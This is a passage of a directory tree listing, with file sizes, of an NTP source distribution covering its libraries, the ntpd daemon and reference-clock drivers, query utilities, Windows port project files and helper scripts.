│ │ │ ├── [3.0K] errno2result.c
│ │ │ ├── [1.3K] errno2result.h
│ │ │ ├── [ 13K] file.c
│ │ │ ├── [2.4K] fsaccess.c
│ │ │ ├── [7.2K] ifiter_getifaddrs.c
│ │ │ ├── [ 27K] ifiter_ioctl.c
│ │ │ ├── [8.3K] ifiter_sysctl.c
│ │ │ ├── [4.0K] include
│ │ │ │ └── [4.0K] isc
│ │ │ │ ├── [2.5K] dir.h
│ │ │ │ ├── [1.8K] int.h
│ │ │ │ ├── [1.5K] keyboard.h
│ │ │ │ ├── [1.4K] netdb.h
│ │ │ │ ├── [9.0K] net.h
│ │ │ │ ├── [1.9K] offset.h
│ │ │ │ ├── [1.2K] stat.h
│ │ │ │ ├── [1.8K] stdtime.h
│ │ │ │ ├── [1.3K] strerror.h
│ │ │ │ ├── [1.3K] syslog.h
│ │ │ │ └── [7.9K] time.h
│ │ │ ├── [8.2K] interfaceiter.c
│ │ │ ├── [1.1K] ipv6.c
│ │ │ ├── [3.0K] keyboard.c
│ │ │ ├── [ 12K] net.c
│ │ │ ├── [2.1K] os.c
│ │ │ ├── [6.0K] resource.c
│ │ │ ├── [155K] socket.c
│ │ │ ├── [1.3K] socket_p.h
│ │ │ ├── [2.7K] stdio.c
│ │ │ ├── [2.1K] stdtime.c
│ │ │ ├── [2.1K] strerror.c
│ │ │ ├── [2.1K] syslog.c
│ │ │ └── [ 11K] time.c
│ │ ├── [1.1K] version.c
│ │ ├── [4.0K] win32
│ │ │ ├── [5.4K] app.c
│ │ │ ├── [6.1K] condition.c
│ │ │ ├── [6.9K] dir.c
│ │ │ ├── [1.6K] DLLMain.c
│ │ │ ├── [7.4K] entropy.c
│ │ │ ├── [3.3K] errno2result.c
│ │ │ ├── [1.4K] errno2result.h
│ │ │ ├── [ 13K] file.c
│ │ │ ├── [9.9K] fsaccess.c
│ │ │ ├── [4.0K] include
│ │ │ │ └── [4.0K] isc
│ │ │ │ ├── [2.2K] bindevt.h
│ │ │ │ ├── [1.8K] bind_registry.h
│ │ │ │ ├── [1.8K] condition.h
│ │ │ │ ├── [2.1K] dir.h
│ │ │ │ ├── [1.8K] int.h
│ │ │ │ ├── [3.0K] ipv6.h
│ │ │ │ ├── [1.4K] keyboard.h
│ │ │ │ ├── [1.8K] mutex.h
│ │ │ │ ├── [1.3K] netdb.h
│ │ │ │ ├── [9.0K] net.h
│ │ │ │ ├── [1.2K] ntgroups.h
│ │ │ │ ├── [1.9K] ntpaths.h
│ │ │ │ ├── [1.8K] offset.h
│ │ │ │ ├── [1.3K] once.h
│ │ │ │ ├── [2.9K] platform.h
│ │ │ │ ├── [2.2K] stat.h
│ │ │ │ ├── [1.8K] stdtime.h
│ │ │ │ ├── [1.2K] strerror.h
│ │ │ │ ├── [1.3K] syslog.h
│ │ │ │ ├── [2.8K] thread.h
│ │ │ │ ├── [6.6K] time.h
│ │ │ │ └── [1.9K] win32os.h
│ │ │ ├── [ 22K] interfaceiter.c
│ │ │ ├── [1.1K] ipv6.c
│ │ │ ├── [2.1K] keyboard.c
│ │ │ ├── [ 954] libgen.h
│ │ │ ├── [ 11K] libisc.def
│ │ │ ├── [ 15K] libisc.dsp
│ │ │ ├── [ 508] libisc.dsw
│ │ │ ├── [ 42K] libisc.mak
│ │ │ ├── [7.3K] net.c
│ │ │ ├── [4.8K] netdb.h
│ │ │ ├── [5.0K] ntgroups.c
│ │ │ ├── [3.9K] ntpaths.c
│ │ │ ├── [1.6K] once.c
│ │ │ ├── [1.3K] os.c
│ │ │ ├── [2.0K] resource.c
│ │ │ ├── [100K] socket.c
│ │ │ ├── [2.5K] stdio.c
│ │ │ ├── [1.2K] stdtime.c
│ │ │ ├── [9.9K] strerror.c
│ │ │ ├── [4.2K] syslog.c
│ │ │ ├── [2.2K] syslog.h
│ │ │ ├── [2.3K] thread.c
│ │ │ ├── [7.6K] time.c
│ │ │ ├── [1.5K] unistd.h
│ │ │ ├── [1.2K] version.c
│ │ │ └── [2.7K] win32os.c
│ │ ├── [4.0K] x86_32
│ │ │ └── [4.0K] include
│ │ │ └── [4.0K] isc
│ │ │ └── [4.2K] atomic.h
│ │ └── [4.0K] x86_64
│ │ └── [4.0K] include
│ │ └── [4.0K] isc
│ │ └── [3.0K] atomic.h
│ ├── [4.0K] libjsmn
│ │ ├── [4.0K] example
│ │ │ ├── [2.3K] jsondump.c
│ │ │ └── [2.1K] simple.c
│ │ ├── [7.5K] jsmn.c
│ │ ├── [1.6K] jsmn.h
│ │ ├── [ 16K] jsmn_test.c
│ │ ├── [1.0K] LICENSE
│ │ ├── [ 590] Makefile
│ │ └── [5.4K] README.md
│ ├── [4.0K] libntp
│ │ ├── [ 10K] adjtime.c
│ │ ├── [ 334] adjtimex.c
│ │ ├── [3.3K] a_md5encrypt.c
│ │ ├── [ 801] atoint.c
│ │ ├── [1.9K] atolfp.c
│ │ ├── [ 885] atouint.c
│ │ ├── [ 13K] audio.c
│ │ ├── [ 17K] authkeys.c
│ │ ├── [8.2K] authreadkeys.c
│ │ ├── [ 748] authusekey.c
│ │ ├── [1.3K] bsd_strerror.c
│ │ ├── [ 643] buftvtots.c
│ │ ├── [ 891] caljulian.c
│ │ ├── [2.2K] caltontp.c
│ │ ├── [2.1K] calyearstart.c
│ │ ├── [4.5K] clocktime.c
│ │ ├── [3.7K] clocktypes.c
│ │ ├── [1.7K] decodenetnum.c
│ │ ├── [2.2K] dofptoa.c
│ │ ├── [3.1K] dolfptoa.c
│ │ ├── [3.4K] emalloc.c
│ │ ├── [1.5K] findconfig.c
│ │ ├── [2.2K] getopt.c
│ │ ├── [ 673] hextoint.c
│ │ ├── [1.4K] hextolfp.c
│ │ ├── [1.1K] humandate.c
│ │ ├── [4.2K] icom.c
│ │ ├── [ 12K] iosignal.c
│ │ ├── [2.0K] is_ip_address.c
│ │ ├── [ 633] lib_strbuf.c
│ │ ├── [ 13K] machines.c
│ │ ├── [3.1K] Makefile.am
│ │ ├── [105K] Makefile.in
│ │ ├── [8.3K] mktime.c
│ │ ├── [ 507] modetoa.c
│ │ ├── [2.0K] mstolfp.c
│ │ ├── [ 12K] msyslog.c
│ │ ├── [1.2K] netof.c
│ │ ├── [ 47K] ntp_calendar.c
│ │ ├── [2.1K] ntp_crypto_rnd.c
│ │ ├── [ 28K] ntp_intres.c
│ │ ├── [1.3K] ntp_libopts.c
│ │ ├── [3.9K] ntp_lineedit.c
│ │ ├── [ 18K] ntp_random.c
│ │ ├── [ 15K] ntp_rfc2553.c
│ │ ├── [7.2K] ntp_worker.c
│ │ ├── [ 963] numtoa.c
│ │ ├── [ 908] numtohost.c
│ │ ├── [ 578] octtoint.c
│ │ ├── [5.4K] prettydate.c
│ │ ├── [ 272] README
│ │ ├── [5.6K] recvbuff.c
│ │ ├── [1.1K] refidsmear.c
│ │ ├── [ 673] refnumtoa.c
│ │ ├── [ 53K] snprintf.c
│ │ ├── [4.9K] socket.c
│ │ ├── [2.9K] socktoa.c
│ │ ├── [2.5K] socktohost.c
│ │ ├── [3.6K] ssl_init.c
│ │ ├── [ 11K] statestr.c
│ │ ├── [ 386] strdup.c
│ │ ├── [3.6K] strl_obsd.c
│ │ ├── [2.7K] syssignal.c
│ │ ├── [ 16K] systime.c
│ │ ├── [ 33] systime_s.c
│ │ ├── [2.8K] timetoa.c
│ │ ├── [ 13K] timevalops.c
│ │ ├── [ 958] uglydate.c
│ │ ├── [5.1K] vint64ops.c
│ │ ├── [ 11K] work_fork.c
│ │ ├── [ 23K] work_thread.c
│ │ └── [ 582] ymd2yd.c
│ ├── [4.0K] libparse
│ │ ├── [3.9K] binio.c
│ │ ├── [6.3K] clk_computime.c
│ │ ├── [5.9K] clk_dcf7000.c
│ │ ├── [6.9K] clk_hopf6021.c
│ │ ├── [ 23K] clk_meinberg.c
│ │ ├── [ 19K] clk_rawdcf.c
│ │ ├── [5.1K] clk_rcc8000.c
│ │ ├── [7.0K] clk_schmid.c
│ │ ├── [4.0K] clk_sel240x.c
│ │ ├── [6.6K] clk_trimtaip.c
│ │ ├── [ 13K] clk_trimtsip.c
│ │ ├── [8.1K] clk_varitext.c
│ │ ├── [5.1K] clk_wharton.c
│ │ ├── [ 12K] data_mbg.c
│ │ ├── [2.5K] gpstolfp.c
│ │ ├── [ 13K] ieee754io.c
│ │ ├── [6.8K] info_trimble.c
│ │ ├── [5.0K] Makefile.am
│ │ ├── [ 34K] Makefile.in
│ │ ├── [6.4K] mfp_mul.c
│ │ ├── [ 243] mkinfo_rcmd.sed
│ │ ├── [ 342] mkinfo_scmd.sed
│ │ ├── [ 20K] parse.c
│ │ ├── [4.6K] parse_conf.c
│ │ ├── [ 28K] parsesolaris.c
│ │ ├── [ 30K] parsestreams.c
│ │ ├── [4.1K] README
│ │ └── [2.4K] trim_info.c
│ ├── [276K] ltmain.sh
│ ├── [3.7K] Makefile.am
│ ├── [ 35K] Makefile.in
│ ├── [ 11K] missing
│ ├── [102K] NEWS
│ ├── [2.6K] NOTES.y2kfixes
│ ├── [4.0K] ntpd
│ │ ├── [ 16K] check_y2k.c
│ │ ├── [4.2K] cmd_args.c
│ │ ├── [3.1K] complete.conf.in
│ │ ├── [ 793] declcond.h
│ │ ├── [ 56] invoke-ntp.conf.menu
│ │ ├── [ 95K] invoke-ntp.conf.texi
│ │ ├── [ 49] invoke-ntpd.menu
│ │ ├── [ 24K] invoke-ntpd.texi
│ │ ├── [ 56] invoke-ntp.keys.menu
│ │ ├── [3.0K] invoke-ntp.keys.texi
│ │ ├── [9.1K] jupiter.h
│ │ ├── [ 21K] keyword-gen.c
│ │ ├── [ 57] keyword-gen-utd
│ │ ├── [ 12K] Makefile.am
│ │ ├── [ 77K] Makefile.in
│ │ ├── [104K] ntp.conf.5man
│ │ ├── [ 93K] ntp.conf.5mdoc
│ │ ├── [ 92K] ntp.conf.def
│ │ ├── [105K] ntp.conf.html
│ │ ├── [102K] ntp_config.c
│ │ ├── [104K] ntp.conf.man.in
│ │ ├── [ 93K] ntp.conf.mdoc.in
│ │ ├── [1.2K] ntp.conf.texi
│ │ ├── [121K] ntp_control.c
│ │ ├── [115K] ntp_crypto.c
│ │ ├── [ 32K] ntpd.1ntpdman
│ │ ├── [ 29K] ntpd.1ntpdmdoc
│ │ ├── [ 13K] ntpdbase-opts.def
│ │ ├── [ 36K] ntpd.c
│ │ ├── [ 41K] ntpd.html
│ │ ├── [ 32K] ntpd.man.in
│ │ ├── [ 29K] ntpd.mdoc.in
│ │ ├── [ 72K] ntpd-opts.c
│ │ ├── [ 18K] ntpd-opts.def
│ │ ├── [ 15K] ntpd-opts.h
│ │ ├── [3.2K] ntpd.texi
│ │ ├── [ 13K] ntp_filegen.c
│ │ ├── [110K] ntp_io.c
│ │ ├── [3.8K] ntp.keys.5man
│ │ ├── [4.1K] ntp.keys.5mdoc
│ │ ├── [3.5K] ntp.keys.def
│ │ ├── [6.3K] ntp.keys.html
│ │ ├── [3.8K] ntp.keys.man.in
│ │ ├── [4.1K] ntp.keys.mdoc.in
│ │ ├── [1.2K] ntp.keys.texi
│ │ ├── [ 68K] ntp_keyword.h
│ │ ├── [ 31K] ntp_leapsec.c
│ │ ├── [ 11K] ntp_leapsec.h
│ │ ├── [ 39K] ntp_loopfilter.c
│ │ ├── [ 13K] ntp_monitor.c
│ │ ├── [122K] ntp_parser.c
│ │ ├── [ 11K] ntp_parser.h
│ │ ├── [ 31K] ntp_parser.y
│ │ ├── [ 26K] ntp_peer.c
│ │ ├── [4.5K] ntp_prio_q.c
│ │ ├── [133K] ntp_proto.c
│ │ ├── [ 32K] ntp_refclock.c
│ │ ├── [ 66K] ntp_request.c
│ │ ├── [ 16K] ntp_restrict.c
│ │ ├── [ 21K] ntp_scanner.c
│ │ ├── [4.4K] ntp_scanner.h
│ │ ├── [5.2K] ntp_signd.c
│ │ ├── [ 17K] ntpsim.c
│ │ ├── [ 17K] ntp_timer.c
│ │ ├── [ 22K] ntp_util.c
│ │ ├── [ 497] ppsapi_timepps.h
│ │ ├── [ 716] rc_cmdlength.c
│ │ ├── [ 23K] refclock_acts.c
│ │ ├── [ 12K] refclock_arbiter.c
│ │ ├── [ 47K] refclock_arc.c
│ │ ├── [ 11K] refclock_as2201.c
│ │ ├── [6.6K] refclock_atom.c
│ │ ├── [ 14K] refclock_bancomm.c
│ │ ├── [7.6K] refclock_chronolog.c
│ │ ├── [ 45K] refclock_chu.c
│ │ ├── [7.3K] refclock_conf.c
│ │ ├── [ 22K] refclock_datum.c
│ │ ├── [8.4K] refclock_dumbclock.c
│ │ ├── [6.9K] refclock_fg.c
│ │ ├── [ 58K] refclock_gpsdjson.c
│ │ ├── [7.8K] refclock_gpsvme.c
│ │ ├── [ 13K] refclock_heath.c
│ │ ├── [5.7K] refclock_hopfpci.c
│ │ ├── [7.4K] refclock_hopfser.c
│ │ ├── [ 16K] refclock_hpgps.c
│ │ ├── [ 30K] refclock_irig.c
│ │ ├── [141K] refclock_jjy.c
│ │ ├── [ 29K] refclock_jupiter.c
│ │ ├── [ 13K] refclock_leitch.c
│ │ ├── [5.7K] refclock_local.c
│ │ ├── [ 45K] refclock_msfees.c
│ │ ├── [ 41K] refclock_mx4200.c
│ │ ├── [ 29K] refclock_neoclock4x.c
│ │ ├── [ 57K] refclock_nmea.c
│ │ ├── [120K] refclock_oncore.c
│ │ ├── [ 28K] refclock_palisade.c
│ │ ├── [6.3K] refclock_palisade.h
│ │ ├── [161K] refclock_parse.c
│ │ ├── [4.8K] refclock_pcf.c
│ │ ├── [8.1K] refclock_pst.c
│ │ ├── [118K] refclock_ripencc.c
│ │ ├── [ 17K] refclock_shm.c
│ │ ├── [4.7K] refclock_tpro.c
│ │ ├── [ 25K] refclock_true.c
│ │ ├── [ 28K] refclock_tsyncpci.c
│ │ ├── [6.1K] refclock_tt560.c
│ │ ├── [ 16K] refclock_ulink.c
│ │ ├── [ 16K] refclock_wwvb.c
│ │ ├── [ 79K] refclock_wwv.c
│ │ └── [6.9K] refclock_zyfer.c
│ ├── [4.0K] ntpdate
│ │ ├── [1.0K] Makefile.am
│ │ ├── [ 33K] Makefile.in
│ │ ├── [ 49K] ntpdate.c
│ │ ├── [4.1K] ntpdate.h
│ │ └── [ 324] README
│ ├── [4.0K] ntpdc
│ │ ├── [ 50] invoke-ntpdc.menu
│ │ ├── [ 11K] invoke-ntpdc.texi
│ │ ├── [9.7K] layout.std
│ │ ├── [4.6K] Makefile.am
│ │ ├── [ 43K] Makefile.in
│ │ ├── [ 64] nl_in.c
│ │ ├── [1.0K] nl.pl
│ │ ├── [1018] nl.pl.in
│ │ ├── [ 28K] ntpdc.1ntpdcman
│ │ ├── [ 24K] ntpdc.1ntpdcmdoc
│ │ ├── [ 41K] ntpdc.c
│ │ ├── [1.5K] ntpdc.h
│ │ ├── [ 21K] ntpdc.html
│ │ ├── [ 327] ntpdc-layout.c
│ │ ├── [ 28K] ntpdc.man.in
│ │ ├── [ 24K] ntpdc.mdoc.in
│ │ ├── [ 74K] ntpdc_ops.c
│ │ ├── [ 42K] ntpdc-opts.c
│ │ ├── [ 22K] ntpdc-opts.def
│ │ ├── [9.9K] ntpdc-opts.h
│ │ ├── [2.4K] ntpdc.texi
│ │ └── [ 321] README
│ ├── [4.0K] ntpq
│ │ ├── [ 49] invoke-ntpq.menu
│ │ ├── [ 35K] invoke-ntpq.texi
│ │ ├── [ 20K] libntpq.c
│ │ ├── [3.5K] libntpq.h
│ │ ├── [1.2K] libntpq_subs.c
│ │ ├── [3.8K] Makefile.am
│ │ ├── [ 47K] Makefile.in
│ │ ├── [ 36K] ntpq.1ntpqman
│ │ ├── [ 29K] ntpq.1ntpqmdoc
│ │ ├── [ 75K] ntpq.c
│ │ ├── [4.7K] ntpq.h
│ │ ├── [ 85K] ntpq.html
│ │ ├── [ 36K] ntpq.man.in
│ │ ├── [ 29K] ntpq.mdoc.in
│ │ ├── [ 44K] ntpq-opts.c
│ │ ├── [ 26K] ntpq-opts.def
│ │ ├── [ 10K] ntpq-opts.h
│ │ ├── [ 90K] ntpq-subs.c
│ │ ├── [ 25K] ntpq.texi
│ │ └── [ 317] README
│ ├── [4.0K] ntpsnmpd
│ │ ├── [ 53] invoke-ntpsnmpd.menu
│ │ ├── [6.5K] invoke-ntpsnmpd.texi
│ │ ├── [3.7K] Makefile.am
│ │ ├── [ 42K] Makefile.in
│ │ ├── [6.5K] netsnmp_daemonize.c
│ │ ├── [5.3K] ntpsnmpd.1ntpsnmpdman
│ │ ├── [4.5K] ntpsnmpd.1ntpsnmpdmdoc
│ │ ├── [3.0K] ntpsnmpd.c
│ │ ├── [2.8K] ntpsnmpd.html
│ │ ├── [5.3K] ntpsnmpd.man.in
│ │ ├── [4.5K] ntpsnmpd.mdoc.in
│ │ ├── [ 33K] ntpsnmpd-opts.c
│ │ ├── [3.1K] ntpsnmpd-opts.def
│ │ ├── [8.6K] ntpsnmpd-opts.h
│ │ ├── [1.5K] ntpsnmpd.texi
│ │ ├── [ 971] ntp_snmp.h
│ │ ├── [ 14K] ntpSnmpSubagentObject.c
│ │ ├── [2.4K] ntpSnmpSubagentObject.h
│ │ ├── [ 29K] ntpv4-mib.mib
│ │ └── [1.6K] README
│ ├── [3.0K] packageinfo.sh
│ ├── [4.0K] parseutil
│ │ ├── [ 44K] dcfd.c
│ │ ├── [ 453] Makefile.am
│ │ ├── [ 26K] Makefile.in
│ │ ├── [ 588] README
│ │ └── [ 13K] testdcf.c
│ ├── [4.0K] ports
│ │ └── [4.0K] winnt
│ │ ├── [4.0K] include
│ │ │ ├── [4.0K] arpa
│ │ │ │ └── [ 207] inet.h
│ │ │ ├── [ 848] clockstuff.h
│ │ │ ├── [ 15K] config.h
│ │ │ ├── [ 22K] gaa_compat.h
│ │ │ ├── [1.7K] hopf_PCI_io.h
│ │ │ ├── [ 207] netdb.h
│ │ │ ├── [1.1K] ntp_iocompletionport.h
│ │ │ ├── [ 773] ntp_iocplmem.h
│ │ │ ├── [5.3K] ntp_iocpltypes.h
│ │ │ ├── [ 102] ntp_timer.h
│ │ │ ├── [1.2K] ntservice.h
│ │ │ ├── [6.7K] stdint.h
│ │ │ ├── [2.1K] stdnoreturn.h
│ │ │ ├── [4.0K] sys
│ │ │ │ ├── [ 272] ioctl.h
│ │ │ │ ├── [ 207] param.h
│ │ │ │ ├── [ 215] resource.h
│ │ │ │ ├── [ 207] signal.h
│ │ │ │ ├── [ 574] time.h
│ │ │ │ └── [ 207] wait.h
│ │ │ ├── [2.3K] syslog.h
│ │ │ ├── [4.3K] termios.h
│ │ │ ├── [ 20K] timepps.h
│ │ │ ├── [ 207] unistd.h
│ │ │ └── [ 158] win32_io.h
│ │ ├── [4.0K] instsrv
│ │ │ └── [ 13K] instsrv.c
│ │ ├── [4.0K] libntp
│ │ │ ├── [2.2K] arc4wrap.c
│ │ │ ├── [1.3K] getclock.c
│ │ │ ├── [6.3K] messages.h
│ │ │ ├── [5.6K] messages.mc
│ │ │ ├── [ 37] messages.rc
│ │ │ ├── [ 104] MSG00001.bin
│ │ │ ├── [2.4K] randfile.c
│ │ │ ├── [2.1K] setpriority.c
│ │ │ ├── [ 518] SetSystemTime.c
│ │ │ ├── [4.8K] syslog.c
│ │ │ ├── [ 13K] termios.c
│ │ │ ├── [ 355] util_clockstuff.c
│ │ │ └── [2.1K] win32_io.c
│ │ ├── [4.0K] ntpd
│ │ │ ├── [6.3K] hopf_PCI_io.c
│ │ │ ├── [ 45K] nt_clockstuff.c
│ │ │ ├── [ 46K] ntp_iocompletionport.c
│ │ │ ├── [3.0K] ntp_iocplmem.c
│ │ │ ├── [8.5K] ntp_iocpltypes.c
│ │ │ └── [7.5K] ntservice.c
│ │ ├── [4.0K] ntptrace
│ │ │ └── [5.0K] ntptrace.dsp
│ │ ├── [4.0K] ppsapi
│ │ │ ├── [4.0K] loopback
│ │ │ │ ├── [ 18K] monolithic-serialpps-timepps.h
│ │ │ │ ├── [2.6K] monolithic-serialpps-timepps.txt
│ │ │ │ └── [4.0K] src
│ │ │ │ ├── [ 12K] loopback-ppsapi.c
│ │ │ │ ├── [ 361] loopback-ppsapi.def
│ │ │ │ ├── [1.8K] loopback-ppsapi.h
│ │ │ │ ├── [4.0K] sys
│ │ │ │ │ └── [ 403] time.h
│ │ │ │ └── [ 20K] timepps.h
│ │ │ └── [4.0K] skelprov
│ │ │ ├── [9.6K] skeleton-ppsapi-provider.c
│ │ │ ├── [ 196] skeleton-ppsapi-provider.def
│ │ │ ├── [ 528] skeleton-ppsapi-provider.h
│ │ │ ├── [ 819] skeleton-ppsapi-provider.sln
│ │ │ ├── [4.6K] skeleton-ppsapi-provider.vcproj
│ │ │ └── [4.0K] sys
│ │ │ └── [ 355] time.h
│ │ ├── [4.0K] scripts
│ │ │ └── [ 17K] mkver.bat
│ │ ├── [4.0K] vs2005
│ │ │ ├── [5.5K] Instsrv.vcproj
│ │ │ ├── [ 17K] libntp.vcproj
│ │ │ ├── [6.9K] ntpdate.vcproj
│ │ │ ├── [7.8K] ntpdc.vcproj
│ │ │ ├── [ 40K] ntpd.vcproj
│ │ │ ├── [8.9K] ntpkeygen.vcproj
│ │ │ ├── [7.7K] ntpq.vcproj
│ │ │ └── [4.2K] ntp.sln
│ │ ├── [4.0K] vs2008
│ │ │ ├── [1.6K] common.vsprops
│ │ │ ├── [ 488] debug.vsprops
│ │ │ ├── [ 492] debug-x64.vsprops
│ │ │ ├── [4.0K] instsrv
│ │ │ │ └── [7.1K] instsrv.vcproj
│ │ │ ├── [4.0K] libntp
│ │ │ │ └── [ 20K] libntp.vcproj
│ │ │ ├── [4.0K] loopback-pps
│ │ │ │ └── [7.8K] loopback-ppsapi-provider.vcproj
│ │ │ ├── [4.0K] ntpd
│ │ │ │ ├── [1.4K] gen-ntp_keyword.bat
│ │ │ │ └── [ 24K] ntpd.vcproj
│ │ │ ├── [4.0K] ntpdate
│ │ │ │ └── [8.1K] ntpdate.vcproj
│ │ │ ├── [4.0K] ntpdc
│ │ │ │ └── [7.4K] ntpdc.vcproj
│ │ │ ├── [4.0K] ntpd-keyword-gen
│ │ │ │ └── [6.7K] ntpd-keyword-gen.vcproj
│ │ │ ├── [4.0K] ntp-keygen
│ │ │ │ └── [7.1K] ntp-keygen.vcproj
│ │ │ ├── [4.0K] ntpq
│ │ │ │ └── [7.3K] ntpq.vcproj
│ │ │ ├── [8.2K] ntp.sln
│ │ │ ├── [ 520] release.vsprops
│ │ │ └── [ 525] release-x64.vsprops
│ │ ├── [4.0K] vs2013
│ │ │ ├── [3.0K] common.props
│ │ │ ├── [1.0K] debug.props
│ │ │ ├── [1.0K] debug-x64.props
│ │ │ ├── [4.0K] instsrv
│ │ │ │ ├── [ 13K] instsrv.vcxproj
│ │ │ │ └── [1.0K] instsrv.vcxproj.filters
│ │ │ ├── [4.0K] libntp
│ │ │ │ ├── [ 23K] libntp.vcxproj
│ │ │ │ └── [ 21K] libntp.vcxproj.filters
│ │ │ ├── [4.0K] loopback-pps
│ │ │ │ ├── [ 13K] loopback-ppsapi-provider.vcxproj
│ │ │ │ └── [1.5K] loopback-ppsapi-provider.vcxproj.filters
│ │ │ ├── [4.0K] ntpd
│ │ │ │ ├── [1.4K] gen-ntp_keyword.bat
│ │ │ │ ├── [ 29K] ntpd.vcxproj
│ │ │ │ └── [ 20K] ntpd.vcxproj.filters
│ │ │ ├── [4.0K] ntpdate
│ │ │ │ ├── [ 14K] ntpdate.vcxproj
│ │ │ │ └── [2.6K] ntpdate.vcxproj.filters
│ │ │ ├── [4.0K] ntpdc
│ │ │ │ ├── [ 13K] ntpdc.vcxproj
│ │ │ │ └── [1.6K] ntpdc.vcxproj.filters
│ │ │ ├── [4.0K] ntpd-keyword-gen
│ │ │ │ ├── [ 10K] ntpd-keyword-gen.vcxproj
│ │ │ │ └── [2.6K] ntpd-keyword-gen.vcxproj.filters
│ │ │ ├── [4.0K] ntp-keygen
│ │ │ │ ├── [ 13K] ntp-keygen.vcxproj
│ │ │ │ └── [1.3K] ntp-keygen.vcxproj.filters
│ │ │ ├── [4.0K] ntpq
│ │ │ │ ├── [ 13K] ntpq.vcxproj
│ │ │ │ └── [1.5K] ntpq.vcxproj.filters
│ │ │ ├── [ 12K] ntp.sln
│ │ │ ├── [1.1K] release.props
│ │ │ └── [1.1K] release-x64.props
│ │ └── [4.0K] vs2015
│ │ ├── [3.0K] common.props
│ │ ├── [1.0K] debug.props
│ │ ├── [1.0K] debug-x64.props
│ │ ├── [4.0K] instsrv
│ │ │ ├── [ 13K] instsrv.vcxproj
│ │ │ └── [1.0K] instsrv.vcxproj.filters
│ │ ├── [4.0K] libntp
│ │ │ ├── [ 23K] libntp.vcxproj
│ │ │ └── [ 21K] libntp.vcxproj.filters
│ │ ├── [4.0K] loopback-pps
│ │ │ ├── [ 13K] loopback-ppsapi-provider.vcxproj
│ │ │ └── [1.5K] loopback-ppsapi-provider.vcxproj.filters
│ │ ├── [4.0K] ntpd
│ │ │ ├── [1.4K] gen-ntp_keyword.bat
│ │ │ ├── [ 29K] ntpd.vcxproj
│ │ │ └── [ 20K] ntpd.vcxproj.filters
│ │ ├── [4.0K] ntpdate
│ │ │ ├── [ 14K] ntpdate.vcxproj
│ │ │ └── [2.6K] ntpdate.vcxproj.filters
│ │ ├── [4.0K] ntpdc
│ │ │ ├── [ 13K] ntpdc.vcxproj
│ │ │ └── [1.6K] ntpdc.vcxproj.filters
│ │ ├── [4.0K] ntpd-keyword-gen
│ │ │ ├── [ 10K] ntpd-keyword-gen.vcxproj
│ │ │ └── [2.6K] ntpd-keyword-gen.vcxproj.filters
│ │ ├── [4.0K] ntp-keygen
│ │ │ ├── [ 13K] ntp-keygen.vcxproj
│ │ │ └── [1.3K] ntp-keygen.vcxproj.filters
│ │ ├── [4.0K] ntpq
│ │ │ ├── [ 13K] ntpq.vcxproj
│ │ │ └── [1.5K] ntpq.vcxproj.filters
│ │ ├── [ 12K] ntp.sln
│ │ ├── [1.1K] release.props
│ │ └── [1.1K] release-x64.props
│ ├── [5.4K] README
│ ├── [ 219] README.bk
│ ├── [ 348] README.hackers
│ ├── [ 13K] README.leapsmear
│ ├── [1.6K] README.patches
│ ├── [3.7K] README.pullrequests
│ ├── [2.0K] README.refclocks
│ ├── [ 817] README.versions
│ ├── [4.8K] readme.y2kfixes
│ ├── [2.9K] results.y2kfixes
│ ├── [4.0K] scripts
│ │ ├── [4.0K] build
│ │ │ ├── [ 453] checkChangeLog
│ │ │ ├── [ 384] check--help
│ │ │ ├── [ 297] checkHtmlFileDates
│ │ │ ├── [ 402] fixautomakedepsmagic
│ │ │ ├── [2.1K] genAuthors.in
│ │ │ ├── [ 324] genCommitLog
│ │ │ ├── [1.9K] genver
│ │ │ ├── [ 356] Makefile.am
│ │ │ ├── [ 18K] Makefile.in
│ │ │ ├── [ 578] mkver.in
│ │ │ ├── [1.6K] updateBEDate
│ │ │ ├── [5.7K] UpdatePoint
│ │ │ └── [1.1K] VersionName
│ │ ├── [4.0K] calc_tickadj
│ │ │ ├── [3.1K] calc_tickadj.1calc_tickadjman
│ │ │ ├── [2.7K] calc_tickadj.1calc_tickadjmdoc
│ │ │ ├── [7.2K] calc_tickadj.html
│ │ │ ├── [1.2K] calc_tickadj.in
│ │ │ ├── [3.1K] calc_tickadj.man.in
│ │ │ ├── [2.7K] calc_tickadj.mdoc.in
│ │ │ ├── [1.6K] calc_tickadj-opts
│ │ │ ├── [1.6K] calc_tickadj-opts.def
│ │ │ ├── [1.0K] calc_tickadj.texi
│ │ │ ├── [ 57] invoke-calc_tickadj.menu
│ │ │ ├── [3.5K] invoke-calc_tickadj.texi
│ │ │ ├── [3.7K] Makefile.am
│ │ │ └── [ 31K] Makefile.in
│ │ ├── [4.0K] deprecated
│ │ │ ├── [2.3K] freq_adj.in
│ │ │ ├── [ 302] hpadjtime.sh
│ │ │ ├── [6.5K] html2man.in
│ │ │ ├── [ 221] ntp-close
│ │ │ ├── [2.5K] ntp-groper
│ │ │ ├── [ 266] ntp-restart
│ │ │ └── [1.0K] ntp-status
│ │ ├── [ 57] invoke-plot_summary.menu
│ │ ├── [4.4K] invoke-plot_summary.texi
│ │ ├── [ 52] invoke-summary.menu
│ │ ├── [3.5K] invoke-summary.texi
│ │ ├── [4.0K] lib
│ │ │ ├── [ 98] Makefile.am
│ │ │ ├── [ 20K] Makefile.in
│ │ │ └── [4.0K] NTP
│ │ │ └── [3.7K] Util.pm
│ │ ├── [5.4K] Makefile.am
│ │ ├── [ 34K] Makefile.in
│ │ ├── [4.0K] monitoring
│ │ │ ├── [2.7K] loopwatch.config.SAMPLE
│ │ │ ├── [2.6K] lr.pl
│ │ │ ├── [ 12K] ntploopstat
│ │ │ ├── [ 42K] ntploopwatch
│ │ │ ├── [ 12K] ntp.pl
│ │ │ ├── [ 12K] ntptrap
│ │ │ ├── [5.4K] README
│ │ │ └── [2.5K] timelocal.pl
│ │ ├── [4.0K] ntpsweep
│ │ │ ├── [ 53] invoke-ntpsweep.menu
│ │ │ ├── [4.1K] invoke-ntpsweep.texi
│ │ │ ├── [3.0K] Makefile.am
│ │ │ ├── [ 31K] Makefile.in
│ │ │ ├── [3.0K] ntpsweep.1ntpsweepman
│ │ │ ├── [2.4K] ntpsweep.1ntpsweepmdoc
│ │ │ ├── [8.5K] ntpsweep.html
│ │ │ ├── [5.9K] ntpsweep.in
│ │ │ ├── [3.0K] ntpsweep.man.in
│ │ │ ├── [2.4K] ntpsweep.mdoc.in
│ │ │ ├── [1.9K] ntpsweep-opts
│ │ │ ├── [1.5K] ntpsweep-opts.def
│ │ │ └── [1.1K] ntpsweep.texi
│ │ ├── [4.0K] ntptrace
│ │ │ ├── [ 53] invoke-ntptrace.menu
